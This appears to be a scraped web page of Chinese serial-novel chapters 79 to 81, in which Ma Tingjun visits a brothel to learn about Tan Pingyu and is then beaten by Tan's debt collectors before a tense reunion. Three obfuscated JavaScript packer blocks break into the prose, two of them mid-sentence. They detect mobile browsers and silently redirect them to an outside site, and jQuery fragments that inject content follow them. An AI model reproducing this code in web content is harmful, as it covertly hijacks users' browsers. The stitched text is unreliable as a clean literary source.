;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271204|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷五爷狗子。” 麻霆君不愿再较劲,投降道:“别这么说他了。我总归是慢慢走出来,不会为他伤心了。” 颜青便道:“走出来?你总算不在一棵树上吊死,开始接纳新人了?” 麻霆君摇头道:“我说好要把俞平接回来的,不会反悔。现在银行蒸蒸日上,也许不久后就能和他们谈条件了。” “你有这份心思,俞平不一定有。”颜青嗤笑道,“人家和谈四浪迹香岛,你猜,他有没有空想起你。” 麻霆君立刻黑了脸。颜青不管他,继续嬉皮笑脸,道:“霆君,我记得明天是你的生日,不如一起去漫柳楼见见世面。就算你今朝依然守身如玉,他日若是开了窍,或是有心改行,心里也有数目。” 麻霆君道:“我不去!” “你总不可能在俞平身上浪费一辈子吧,况且我要是谈四,我一定不舍得他。” “你管好自己就可以了。” “讲几句就生气,也不知道怎么允许俞平天天欺负你。”颜青笑道,“我说,做了这么久的兄弟,你还不懂我么?我近来才发现,楼里有一位头牌,和俞平渊源不浅。” 这天银行提前挂牌歇业,颜青开车载麻霆君,连同他那辆破自行车,一并去了江东。 那群婆子都熟悉麻霆君,一见他来,犹如看见天降金山,笑得实在灿烂,齐齐道:“俞大行长,想通就好,我们保证给你捧成头牌!” 颜青笑道:“想多了,我这位兄弟是来作客人的。” “作客也好,先熟悉起来。既然我们俞大行长愿意来,这回给你们打对折——要点哪一位?” “自然是男头牌,还能点谁?他红了一年半载,亏我是等热情褪去了,才来找他。” 婆子斜眼扫他们一轮,笑过后领他们上楼。长廊边上一间间隔着,麻霆君非捂着眼睛不敢看,叫颜青牵着他的袖管子带路。 门被推开,颜青道:“可以睁眼了。” 麻霆君颤抖道:“他穿衣服了吗?” 婆子笑着掰他的手,道:“来都来了,害羞什么?” 见拗不过麻霆君,又道:“俞行长,你们出的价格太低了,顶多和他饮茶谈天,其他的要另算了。是不是很规矩?” 麻霆君照旧不肯进去,把颜青从里头喊出来,道:“和俞平有什么关系?” 颜青道:“你看一眼就知道了。” 麻霆君攀着门框,胆战心惊往里面看一眼,还当是这头牌神似俞平。头牌也看见他,笑一笑,自我介绍,报出了一个所有人都可以叫这么一个名字的名字,长相更是平淡无奇,很白净的一张脸,连颗痣都没有。 他退出门外,即刻想要逃跑。婆子心急,一脚把他绊倒了。 “他长得很不错了,是你要求太高,除俞平外都不入眼。” 颜青追出来,道,“一寸光阴一寸金的,快回去,我没这么多钱给你浪费!” 麻霆君道:“他怎么成的头牌?” 婆子笑道:“所以要请你来坐镇啊。” 颜青趁他云里雾里,揽着他的肩膀,顺势把人往房间里带,道:“他是比不过前几年从良的几位,但是俗话说,小红靠捧,他是被捧起来的。最早是谈四爷特地来点他。” 79.自受 谈凭玉自小到大都伴随着腥风血雨。 小时候是弟弟当街遇刺,避免不幸再度发生,谈家把他严密保护了起来,所以外头什么传闻都有,最主流的便是他样貌丑陋、心理扭曲,洋洋洒洒传了很多年。 有相熟的富家子弟,郁蕙心之流,帮他澄清过,却是寡不敌众,叫他的形象越描越黑下去。 近来沸沸扬扬的死亡传闻——闹到最后,竟是他反叛的当头一棒,不肯好好继承家业,跑去花天酒地了。 便都说是谈家生生把人逼得出了病,疯得实在不轻。 后来谈凭玉终于被捉拿回谈公馆,勉强走上正轨。虽是去香岛扎根,期间不是没有回过枢城。去年坊间要把他传成魔鬼,总算正式露面一次。在夏季商会。 商会每季开大会,听一群人为了各自利益不切实最大化,争吵喋喋不休。 会长一聘五年,这任理论上还是谈文翡。谈文翡很不负责地远走高飞后,没有再选举,更不负责地叫谈行一接班;谈行一称病,从来没去过。 又开夏会。好不容易没有病假的消息,以为三少爷康复了来散心,到场的却是谈凭玉。 酷暑催的一切事物都暴躁,谈凭玉敲门时候,险些被关在门外。众目睽睽之下,他理直气壮地坐到了会长的位置,一群人当是哪里飞来的金丝雀,为了感情不惜来商会撕破脸,急忙赶他走。 直到人群里有识货的,吓得不轻,才知道是谈四爷本尊。 满座会员原要爆发唇枪舌战,看清他的面孔,无论男女老少,一概哑巴了许久。正式开始辩论,一个个全身心都黏在他身上,都大度了,没有在乎面前利益的,毕竟他顶着这样一张面孔,看少了吃亏。好端端的商会成了一锅粥。 谈凭玉便把手枪拍在桌上: “请按顺序发言。” 都知道他是个疯子,于是一场夏会开得魂飞魄散,出来后却是各个容光焕发,口口相传,谈四爷真是美男子中的美男子。 但是谈凭玉是个恶棍的印象太深入人心,以至没什么人相信他是个美人。夸赞越经流传越遭受扭曲,到头来谣传成谈凭玉拿枪威胁他们,换来美言几句;本人相貌极其丑陋,青面獠牙,多看一眼就晕厥。 也没人证明真伪,毕竟谈凭玉没在枢城久留,马不停蹄地跑去香岛。 正是这样一位人物,兴许连喜怒哀乐都不会有,居然在漫柳楼点小倌?麻霆君无论如何不敢相信,看那边颜青轻车熟路与头牌调情,才知道自己中了圈套。不忍直视,又要转身。 婆子忙道:“二爷付的是两个人的钱,你要是走了,我们不退给他的。” 颜青闻言,回过神,不肯放他走:“我的兄弟——四爷和俞平是一伙的,他见过四爷,必然也知道俞平,兴许能打听出什么。” 又招来婆子,道:“你在外头物色新人,有没有听说过一位绝色美人,叫做俞平。” 婆子道:“什么俞平?玉凭么。” 麻霆君才打起点正经的精神。颜青解释道:“就是俞平。原本在码头做水手,后来被人当礼物送给谈文翡,被四爷夺了走。” 婆子惊讶道:“四爷的人,我们怎么敢染指?” 颜青便道:“不敢染指,也没听说过?人家就叫俞平,大名俞玉凭,长得像狐狸精。” “要说狐狸精,四爷也挺像狐狸精的,但没人敢这么想。” 婆子道,“什么凭玉俞平的,我只知道四爷是谈凭玉……还有你们俞行长臭不要脸,故意叫凭玉银行,谈家也放着不管。换我早就去砸了。” 麻霆君有些窘,不想和她多嘴。婆子推他们进去,笑道:“哪有把头牌晾在一旁的?快进去看看!” 门是彻底关上了,颜青怕麻霆君再浪费钱,嘱咐上了锁,不到点不准开。头牌在里头端坐着,见到两位后羞涩一笑。 倘使俞平是颗钻石,头牌勉强算颗木头珠子,削得十分粗糙,谈凭玉如何面对?倘使他脱离皮囊带来的低级趣味,俞平又算什么道理? 麻霆君心中困惑,猜了半晌,单想通了谈四如何是个怪物的道理。不知道他是什么眼光。 颜青笑道:“刚才和你讲过,就是我这位兄弟想打听四爷的事。” 头牌笑道:“二位爷尽管放心,这事我颠来倒去,讲了将近一年。” 麻霆君全身心给俞平上了锁,做什么都要犹豫一阵,仿佛多么伤天害理,哪怕是开口说话:“谈四是一个人来的吗?” 颜青正喝茶,听他们前脚后脚地讲话,然而那头牌的的声音与麻霆君的着实难分伯仲,他不禁皱了眉,打断道:“霆君,他声音和你好像。” 麻霆君严厉道:“别想怂恿我下海!” 颜青一笑了之,叫头牌开始讲故事。 ——去年平安夜,哪想得到谈凭玉大驾光临,漫柳楼依然迎客,没有清场。谈凭玉不肯跌落凡尘,照例赔钱包场。唤了所有少年,都请到个大房间,竖了几张屏风,他们藏在屏风后面。 才知道是谈凭玉过生日。讲一句生日快乐,赏一根金条。 祝福声接连不断,屏风前的谈凭玉身影没有停顿,走马观花一般。头牌那时尚不是头牌,听说过谈凭玉恐怖事迹,也闻风丧胆,说得唯唯诺诺。他却停住了脚步。 “再讲一遍。”谈凭玉低声道,“你再和我讲一遍。” 后面头牌被带去小房间里,遣散其他少年,没有轮到的也领了金条。 颜青浑身一激灵,顿悟道:“停一停,四爷是因为你的声音才点你的?” “差不多。”头牌答得太快。这么回答又好像太自降身价,补充道,“难道我不是个好人吗?” 颜青果断劝麻霆君,道:“你还是改行吧。蕙心和谈四关系可好了。” 麻霆君捂着嘴,狠狠瞪了他一眼。 ——没有把来过客人的房间再拨给四爷的道理,楼里生意又好,只能寻遍犄角旮旯,打扫出一只很小很小的房间,中间吊电灯泡,勉强塞一张床。 谈凭玉没有开灯,与头牌相隔一张床。 “你喜欢喝什么?” 他把蛋糕盒子摆在床上,摸黑拆丝带,边问,“热可可。喜欢喝吗?” 谁敢忤逆谈四爷?就是毒药也要生生咽下去了。头牌硬着头皮答应,没想到他真变出杯热可可。头牌接过。捧在手里暖乎乎的,可可香气浓郁,却是哆嗦着不敢喝。 他也不逼,轻轻笑了声,擦亮火柴点蜡烛。 才看清烛光一点点磨出一张极美的面孔,眼睛又大又媚,睫毛顺垂的投影与高挺鼻梁的连结在一起——从来没见过这么漂亮的人物。 谈凭玉点完一圈蜡烛,抬眸看他:“会唱生日歌吗?” 头牌看他看得愣了,许久也没应声。谈凭玉在他眼前挥了挥手,他才道:“会。” 却是实在五音不全,好端端的一支歌,唱得堪比诗朗诵。偏偏四爷这么美,出洋相至此,头牌自己都要羞愧死了。谈凭玉倒是十分大度,笑道:“再唱一遍,你有什么喜欢的,我买给你。” 但是头牌心里还是怕他,只道:“四爷,我不敢。” “那就和我讲点话,讲什么都可以。” 谈凭玉低着头,声音闷闷的,目光聚在蛋糕的底下的一簇奶油之上,刻意避着对面人。 头牌摒弃一切想法,讲了许久生活见闻,乱七八糟,听见谈凭玉轻轻啜泣一声,他慌忙去看——蜡烛烧灭了,什么都看不清楚。 谈凭玉第二天搭飞机去香岛,今天还没回来。 后来谈凭玉成了鳏夫的说法流行开来,这风月场所的事情也见了光。 都猜测是头牌与他的亡妻有异曲同工,一时间投机取巧的众多,但是头牌哪像个能入四爷眼的样子,白送给人都不要,也就声音可能有点磁性,倒不至于搏四爷的欢心。大家都不理解,更要说谈凭玉疯了。 “四爷最后说自己疯了,就走了,没再来过。” 头牌讲完话,赖在颜青身上,讨桌上的巧克力吃,要另付费的。 颜青剥一颗给他,又塞给麻霆君一颗,嘴上赞同道:“这么有自知之明,难怪他能做四爷。我看他也是疯了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287345|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头牌尝了点甜头,言语也不吝啬,又道:“颜二爷,我常在楼里见你,自认为算你半个朋友。这话我从来没同别人讲过,也就悄悄告诉你们——四爷实在是太美了!” 颜青咦一声,道:“美?谈四长得美?” 头牌激动道:“那天虽是他点的我,我却觉得是我点的他……凭良心讲,以他的相貌,我挣一辈子钱都不够见他一面的!” 颜青皱眉,思索一阵,问麻霆君道:“你记不记得,蕙心和我们说过,俞平就是谈四?” 麻霆君却是一副七窍生烟的模样,颜青吹一声口哨,依旧唤不醒他,只能亏了钱包,再往他身上砸了个巧克力。他才咬牙道:“谈四太对不起俞平了,我不会放过他的!” 颜青愣道:“这叫什么意思?” 麻霆君道:“他这样不是背叛俞平么?俞平要是知道,不说多伤心了。” 颜青心道一声荒谬,干脆往麻霆君身边走。没迈出几步不忘回头,头牌识趣,撇过头看一旁。他才低声道:“麻霆君,你如果是个男人,不应当把谈四碎尸万段?” “我只想俞平幸福。”麻霆君十分气馁,便轻轻地道,“这几年我想清楚了,谈四和我有天壤之别,俞平喜欢我更好,如果谈四也对他不错,他过得优渥,我也会幸福的。” 颜青恨铁不成钢盯他一轮,怨念道:“你就是这样追求到俞平的?” 二人一路沉默至结完账,头牌的费用实在高昂,麻霆君心里过意不去,多关怀几句。气氛好不容易缓和了,依然是好朋友,然而颜青没走几步,换上一阵严肃,道:“谈四就是为了他的声音才来的,霆君,你真不觉得你们的声音简直一模一样吗?” 麻霆君道:“兴许只是凑巧?俞平生日不在十二月,我向你保证。” 颜青道:“我还是觉得这事有蹊跷,你好好考虑一下。” 麻霆君便道:“等明天郁蕙心来上班,问一问她。” “明天?”颜青笑道,“你明天过生日,我们叫她今晚大出血。酒楼都给你定好了,念在你照顾俞平的旧情上,郁老板买单。” 麻霆君笑道:“哎呀,你们真是有心了。” 他面上灿烂不假,心里被颜青方才一点拨,又觉得更加可疑。俞平早让他觉得古怪了,然而那时爱得死去活来,俞平说什么他都愿意相信。 颜青同他找到了车,他心里有种不祥的预感,不肯上车,忽然惊叫一声,道:“阿青,见鬼了,我的钱包落在银行里,没带来。” 颜青道:“你是明天的寿星,谁会叫你掏腰包?” “万一有点突发情况,说不清楚。”麻霆君笑道,“胖子瘦子还在银行,我正好去监督他们,省得他们做事磨洋工,吃完了还不来。” 他开了后备箱取自行车。颜青又提议道:“骑车太远了,我开车送你去。” “你还是先去找蕙心吧,否则我们都让她一个人等,她不得发脾气。” “也是。路上小心。” 麻霆君的自行车是真破,轮子转得吱呀呀响。幸而他是熟手,一直有锻炼的缘故,骑多久也不吃力。 过桥后便是江南,江南路况不堵,他自由了些。被信号灯拦停后,正好与一辆车并排停在马路上。 这车麻霆君熟悉,造得堪称气宇轩昂,贵得自然也令人发指,哪里都气派。美中不足却是车头上被刮花了痕迹,夕阳光一照,更是闪闪发光。 后排车窗微微张开一条缝,麻霆君忍不住瞄一眼,见到一只雪白的手伸出来弹烟灰,被落日余晖沾染过,依旧雪白。 车里有低声细语。 “四爷,查清楚了。” …… 谈凭玉是不抽烟的,烟灰落下后带着全新又短一截的烟头在车里烧着,直到詹兰竹皱起眉头,才把。 那烟雾飘摇得叫麻霆君魂牵梦萦,他本就爱车,几秒钟的功夫,魂魄都要挂在这辆车上了。一支烟烧完,才看见烟嘴却是崭新的。麻霆君心道一声这人好怪,想来今晚同颜青他们吃酒放纵,明早银行还轮到他开门,便扭着龙头驶进梧桐树荫中。 80.烟灰 詹兰竹捧着一本硬皮本,按折痕找重点,嘴里絮絮不停:“四爷……” 谈凭玉不想应。面对詹兰竹,总觉得承接鹭镇的旧情,不好当作寻常下人对待。平时一贯叫他喊自己的名字,只在必要场合充面子。 今天心情好,更是要调侃,懒洋洋打断了,道:“兰竹少爷,要不还是叫我平儿算了。” 詹兰竹讪讪笑两声,道:“凭玉,我们派人去鹭镇掘他的坟,只挖出几根鸡骨头。” 正是为了给足惊天秘密该有的分量,詹兰竹清清嗓子,大声道:“麻霆君活得好好的,改名成俞霆,一直在枢城!” ——香岛有新政,商场里的厮杀越发鲜血淋漓。谈家有谈老爷打下的根基,不太参与纷争,谈凭玉最早预估一年顶天了,没想到大家都来欺负他嫩,半道杀出的程咬金多得超乎想象,喘气的时间都不大有。一年半后才抽时间回鹭镇。 迎头便是麻霆君的死讯。 兰香他们在枢城关了七个月,捞了不少油水,新年时候风风光光地还乡,却看鹭镇上人人哀戚,毫无半点过年的气氛,才知道是麻五少爷死了。 没人联系得到谈凭玉,再熬半年,等谈凭玉回来,他们还没适应,更加害怕他接受不了。纷纷劝他节哀顺变,一群人护送他一个去看坟墓。 墓碑直直矗立在地上,脚底下土地都坚硬三分,站着也疼。看得谈凭玉茫然不已,心里不信,又找不到理由支撑,眼泪转在眼眶里忘记流,却是不受控制地拔了枪,往那墓碑上生生打空了一个弹匣。 “就当是被狗咬了。” 他倒也不去麻公馆问清楚,鹭镇太伤心了,一刻不愿久留,只想回香岛。 布店一群人看他样子都害怕,岂敢放他走。詹兰竹受兰香怂恿,留在他身边做助手。后来看他还算镇静,詹兰竹原本想回家,然而谈凭玉习惯了,不肯放詹兰竹走。 也在詹兰竹的监督下,谈凭玉每星期都和家里通电。香岛还是太繁荣,没想到枢城这么不景气,更没想到谈行一雪上加霜,拿他的名义借别人钱。 正是要提高音量的时机,听清债户的名字,立刻哑了火。 俞霆。 俞霆算什么?谈凭玉来不及细细思索,火急火燎搭飞机回枢城。他没好意思回家,搬家去柏庄住。 这次去银行也不正规,他回枢城后被谈行一第一个发现,威胁不去商会代班,叫他挂不住脸。其实早有人去和谈皎通风报信,谈皎倒是没来管他。 然而谈凭玉见麻霆君心切,便找个借口偷偷跑出来,算准了散会的时间,掐着点再回去。 “凭玉,你走之后不出几个月,麻霆君也来了枢城。但他不知道你就是俞平,害怕谈家来报复,拖累家人,干脆借假死脱身。” 谈凭玉嗤笑道:“还真是被狗咬了。” 詹兰竹翻日程本,又道:“商会七点钟结束,要去致结束辞。” 谈凭玉点了头,道:“还有多久到银行?” 詹兰竹道:“十多分钟,我们开车快。” 谈凭玉道:“下车了先让收债的下去,敲不开门就算了,去贝琴公寓。” 谈行一利息叫得高,平渝银行还钱也慢,谈家派要债的,频频上门。两派人都心知肚明,一派真还不上钱,另一派总归不是自己的钱借出去,急不起来,催得点到为止。若不是立场悬殊,都要处成兄弟。 前头单龙做司机,副驾驶上是个催债的领头,跟在他们车上,兼第二位保镖。还有其他车跟着,不知道塞进多少人。谈凭玉难得发狠心,掐去其后一段英雄救美,美救英雄,他真不想放过麻霆君。 车里沉默一阵,催债的领头是谈家的老人,盘算着今天没有浑水摸鱼的道理,又看他们三个关系还好,跟着融洽,开口道:“四爷,我听了一路,其实没太明白。” 谈凭玉眼皮也不抬:“问。” 领头道:“俞霆行长我相处过,人挺不错,顶多还钱慢了些,不过也在情理之中。讨债是做表面功夫,四爷怎么独独对他大动干戈?” 谈凭玉道:“以前认识,算是有旧仇在。” 领头便摩拳擦掌,哈哈笑道:“真是冤有头债有主!四爷放心,我保证把他打舒服了。” 詹兰竹看得紧张,戳他的后颈,悄声提醒道:“大哥,对俞行长也别太粗鲁。” 单龙懂内幕,闷闷笑着。领头奇怪道:“我知道你们是同乡,当着四爷的面,不至于这么心疼他吧?” 詹兰竹不敢与他多嘴,倒是劝起谈凭玉,紧张地道:“凭玉,李喆他们说,他脑子被你打坏过一次,现在又要下毒手,真的把他打了残——” 车里多么紧张,一不留神,叫个骑自行车的抢先在前头了。单龙看不惯,一脚油门踩得重,轰鸣声中,谈凭玉刚好收回了手,剩短短一个烟头夹在指尖,不知道哪里学来的坏毛病,点烟烧着好看,从来不抽。 詹兰竹讪讪住口。 谈凭玉放松地靠着,目光沉在鞋尖上,半晌斜斜地睨了车前镜一眼,冷笑一声,道:“他算是我以前的情人。” 麻霆君有人格魅力不假,领头的也认可。然而谈凭玉这一席话太骇人,他无论如何想不通麻霆君竟有如此本领,听清了也当没听清。 谈凭玉歇了回,又懒洋洋地道:“嗳,要是真动拳头,给我往死里打。” 单龙憋笑道:“四爷真是性情中人啊。” 领头的仍一头雾水,面上表情太难看。单龙笑话他,道:“大哥,俞行长为了逃我们四爷,改名换姓来枢城生活,你说他是不是太混蛋!” 领头更不懂了:“他要逃四爷,怎么还借四爷的钱?” 因为谈凭玉也骗他了——除领头外,都是心中有答案的,没人跳出来解释,谈凭玉听见一派沉默,自己也觉得好笑,改了口道:“珠宝店的人怎么说?” 詹兰竹道:“钻戒做好了,他们刚取到,晚一点时间送到银行。” 正说着,车开到平渝银行门口。谈凭玉看见招牌,眉毛拧得古怪,心中五味杂陈,不等单龙为他开门,先一步搭上门把手。 却看门口挂牌,大抵是到时间了要歇业,然而里头灯开得实在亮堂,便先叫领头的上去打探。 领头的跑过去再跑回来,表情复杂,道:“四爷,他们说俞霆去漫柳楼放纵了。” “什么!” 不光是谈凭玉,连詹兰竹都大吃一惊。二人异口同声,叫领头的更加怀疑事实究竟如何。 没有盼来谈凭玉开口,詹兰竹唯恐他更加失魂落魄,抢先圆场道:“我知道有一位颜青少爷常去,俞行长不应该吧?” 领头笃定道:“正是他们一起去的,不会有错,而且据说是颜青软磨硬泡许久,才叫俞霆答应开了荤。” 单龙也傻了,道:“算我也看走了眼,麻霆君是这种人?” 詹兰竹晃着谈凭玉的手臂,道:“凭玉,我说其中会不会有什么误会……先前我们也去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292485|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次,他是不是为了那事,去深究的?” 谈凭玉听他们说话简直头痛欲裂,却也不相信麻霆君真会对不起他。但是事已至此,他没个台阶下,便怔怔着吃秋风。 远远看见一辆破自行车悠哉游哉拐了过来,停在银行口。其上的人物再熟悉不过了,大个头,宽肩窄腰,不是麻霆君还能是谁?这时候再看见麻霆君,谈凭玉半点感动的心思都没有,只想找他问个清楚。 单龙要看热闹,立刻下来开车门,他一步跨下,又缩了回去,咬牙切齿道:“不去了。你们先把他打一顿再说。” 麻霆君没进银行门,先道:“你们怎么还不走?阿青和蕙心都在酒楼等着!” 里面一派肃穆,他伸脚夹在玻璃门间,后退一步出去看挂牌。分明是歇业,他和颜青一道翻的,胖子瘦子又是节约的人,迟到了也不可能忘记关灯。他心里觉得蹊跷,壮了胆子,多少认为有些无中生有,然而刚进银行,立刻被谈家的打手拿下。 “你们前天才来过,那期已经交上了!”麻霆君被押在地上,挣扎不断,又道,“说好下一期能延得久点——下手怎么这么重!” 打手不肯说话,等单龙与领头进来。麻霆君挣扎的力度小了些,偏头看见胖子瘦子早被拘到楼上,有打手堵在楼梯口,才知道是冲他来的。 倒也不奇怪,他本身就做了亏心事,何况借的谈凭玉的钱,简直是自投罗网。难得听说谈凭玉有私人恩怨的仇家,他实际上算一个,可惜名气太小。香岛姑且安宁下来,谈凭玉要来清算他了。 这些他下决心追求俞平的时候就想过,事到临头,又是别有一番滋味。谈凭玉不可能为了欠债还钱之事而来,若是多年前划新车,也有不成文的规矩,凡是小事,报仇解气过,必然不会追究。 谈凭玉是为了俞平而来。 若是和俞平,麻霆君反而乐意接受。他这几年辛辛苦苦,为的是能与俞平重逢,尽管不太体面,也算是一种如愿。 但他骑车的时候又细细想过,谈四是背着俞平去风月场所,况且点的小倌的声音像他,要过生日——他撇下颜青回银行,不完全是对于胖子瘦子的负责。 对于俞平,他心里隐约找寻了一些眉目,不好有杂念,否则灯红酒绿一搅合,全乱套了。 那领头怒气冲冲撞开玻璃门,二话不说,先往麻霆君背上招呼一脚,喝道:“你这个王八蛋,怎么去漫柳楼?” 麻霆君滚落在一旁,单龙懂谈凭玉,怕他等下看了再心疼,把领头牢牢拉在自己身旁,小声道:“大哥,你先听他解释。” 领头道:“都是男人,谁不懂谁,有什么好解释的?” 单龙挤眉弄眼道:“四爷还很喜欢他呢!对他狠了,一定讲我们好心帮倒忙。要杀要剐,叫四爷自己来动手。” 领头再不满,只好往地上跺一脚,朝麻霆君道:“守这破银行的,问你:去漫柳楼做什么?” 自然是为了俞平——麻霆君不敢贸然开口,便道:“我有事!” 谈凭玉死了爱人的事情,谈家上下多少都懂得些,单龙和他关系好,知道的内情多,透露出他在香岛时夜夜黯然神伤。方才又透露:谈凭玉只爱过麻霆君,麻霆君便是他死去的爱人。 哪知道麻霆君有这么不要好!领头气不打一处来,道:“你能有什么事?” 说罢再要打。单龙拦不住,看麻霆君被他们打得也可怜,忽然听见门口风铃叮当响,立刻回头道:“四爷!” 81.琢磨 进门即见麻霆君被围得水泄不通。谈凭玉拍了拍手,打手便识趣地散在一旁。 家里说是养打手,其实是防闹事。上门催债算是额外的活计,大家扮得十分偷工减料,他们其实也都心知肚明。钱包瘪的怎么催都没用,还不如宽容些,免得败坏谈家的名声。 今天下手太重了,约莫是看他谈凭玉来监督,把几年欠着的拳头一齐补上了。 麻霆君却依旧伏在原地,脸着地,双手抱头。为了叫他更加痛,外套被扒掉了,里头剩下一件紧身线衫,谈凭玉当俞平的时候看他穿过,以前是紧紧绷在身上,现在竟宽松不少。 麻霆君真是瘦了,方才估计被打得不轻。不过他成谈凭玉回来了,日后有无尽的甜蜜,这一点点苦算作封层,很说得过去。 但他看得真的心疼;心疼的时间久了,好像不在乎麻霆君去了哪里,更发不出什么火,倒是有些懂了麻霆君当年如何下决心和他在一起,也有些窘。便把鞋尖点在麻霆君的肩上,装着漫不经心,道: “你就是俞霆?” 麻霆君喘息声有些重,颤抖着道:“四爷……四爷,小人正是俞霆。” 谈凭玉当是麻霆君惊吓过度,摸不清状况。他自己知道谜底,躲在幕布后面吓唬人,自然是高兴的,麻霆君禁不住他装神弄鬼,一时间可怜了些。 想到马上有个重逢的情景,他心里变得软绵绵,止不住微笑,好不容易装得平静,歪头道:“俞霆行长,要不要看看我是谁?” 麻霆君道:“您是谈四爷。” 谈凭玉轻笑道:“你没见过我,怎么知道我是四爷?抬头。” “小人不敢。” “不敢?” “就是不敢。四爷,谁敢看您尊容啊。” 无非中途分开一阵,至于连声音都听不出来?说是大丈夫能屈能伸,谈凭玉如何想得到他能屈成这样?本就是单脚着地,更是站不稳。詹兰竹看他摇摇欲坠,忙来搀扶。 他脚踩在地上,依旧觉得自己虚浮在云端。 ……是了。他早在货轮上也与麻霆君说过话,麻霆君照样没记住。兴许麻霆君只是不记得人的声音,是真真切切爱着他的。 却还觉得匪夷所思,清了清嗓子,又道:“俞行长不敢看我,我倒是很想看行长呢。” 麻霆君缓缓抬了头,眼睛却是紧紧闭着。谈凭玉看他乌龟似的停了几秒,又继续把头点着地,只觉得身体里有什么一点点破碎了。 单龙在一旁干着急,道:“怎么不睁眼?我们四爷的尊容不是谁都能看见的,有便宜赶紧占了。” 詹兰竹也道:“行长,我是詹兰竹!你听我的,快抬头。” 麻霆君依然趴在地上,道:“詹兰竹,你认贼作父!” “谁是贼!”领头意欲招呼一脚,谈凭玉伸手拦在他前面,不让他靠近麻霆君。 那风割在麻霆君头顶,许久没个火辣辣的下落,保持磕头姿势的麻霆君,眼睛眯开一条缝。谈凭玉的投影拉长至他的身前。 俗话说:情敌相见,分外眼红。麻霆君更怕节外生枝,不敢胡来,谦卑地道:“我只是一介银行行长,四爷的庐山真面目轮不着我看,但我想得出,四爷必然是身材魁梧,好似天上巨灵神。” 谈凭玉冷冷道:“你再给我说一遍。” 麻霆君乖乖照做了。谈凭玉更是气不打一处来——单龙担忧他气坏身子,热闹没得看,急忙搬来张椅子。谈凭玉安生坐在上面,歇息许久,方道:“听说俞行长从漫柳楼回来了?” 麻霆君犹豫道:“是。” 谈凭玉道:“俞行长有闲情逸致,点的哪一位小倌?我也想知道。” 麻霆君摸不准他底细,也知道斗不过,干脆全盘托出,道:“实不相瞒,四爷,您光临过的小倌成了头牌,我是去听他讲故事的。” “打听我?” “称不上打听。四爷,您又有本事,又神秘,大家都很好奇您。” 他冷眼看麻霆君伏在他面前,幽幽道:“好奇我,却不肯和我交个朋友?” 麻霆君局促笑道:“四爷,我配不上。” 以往那个麻霆君去哪里了?谈凭玉简直大失所望,不愿再自讨没趣,旋即要走。单龙与詹兰竹也悻悻,然而没离开几步,身后有声音来勾。 麻霆君道:“四爷,您身边是不是有一位俞平……” 谈凭玉一时心花怒放。 “是。”谈凭玉慢慢停了脚步,却故意道,“俞平跟我好些年了。怎么?” 麻霆君立刻道:“俞平!” 也知道自己太热情,紧急掐了话吞下去。他和俞平一点私情不好被看破,便装是随口一问,道:“请问,俞平在吗?” 那椅子还没搬走,谈凭玉重新坐回他面前。麻霆君说完这句话,再没有下落,谈凭玉看他伏着,眼神恨恨剜他的后背,火气更是无处发泄。 若是麻霆君痛痛快快地承认,今生非俞平不可,还能敬他是个真正的男子汉。不过也太莽撞,谣言里的谈四爷非同一般的可怖,麻霆君什么都不懂,瞎子打灯前行,只有求平稳。 都是自作自受,折磨得两个人都不正常——谈凭玉叹一口气,不忍心也无可奈何,只想看看他能走到哪一步,便道:“你认识他?” 麻霆君避重就轻,道:“俞平来小的家里借住过。” 谈凭玉道:“你家在贝琴公寓,俞平怎么会跑来你家借住?” 麻霆君暗暗吃一惊。心道不愧是四爷,收债亲力亲为,当然对他更是了如指掌。更加慎重了些,道:“老家。” “你老家在哪?” “广东。” 谈凭玉便开始讲粤语,道:“我也会讲广东话,不如给俞行长行个方便。” 麻霆君蹩脚道:“我不太会讲。” 谈凭玉道:“不会?” “我听得懂,但我不会讲。”麻霆君狡辩道,“比方说,我听出四爷是香岛那边的口音,很优雅。” 谈凭玉笑道:“狗耳朵是比人更灵。” 麻霆君也笑,倒更是摸不准他底细了:若是划车之仇,如此鸡毛蒜皮小事,不至于谈凭玉记恨他迄今;若是夺俞平之仇,理论上麻霆君已经死了,他和俞平连张合照也没有,哪怕风声鹤唳,犯不着谈凭玉亲自来大动干戈。 麻霆君伏得充血,咬着下唇,奋力打起精神。至少目前而言,谈凭玉对他印象不差—— 他心里宽松了一些。不料谈凭玉恶胆心生,道:“俞行长和俞平都姓俞,莫非是同乡?” 麻霆君迟疑道:“不是,只是凑巧。” 谈凭玉道:“那么,俞平不是我的下属,是我的情人。既然他来你家里借住,你总知道?” 麻霆君反应慢,不敢答。他又道:“是不是俞平脾气太差,得罪你了?” “没有,没有。” 麻霆君才道,“俞平怎么会得罪人?他心肠好,和我们关系都不错。” 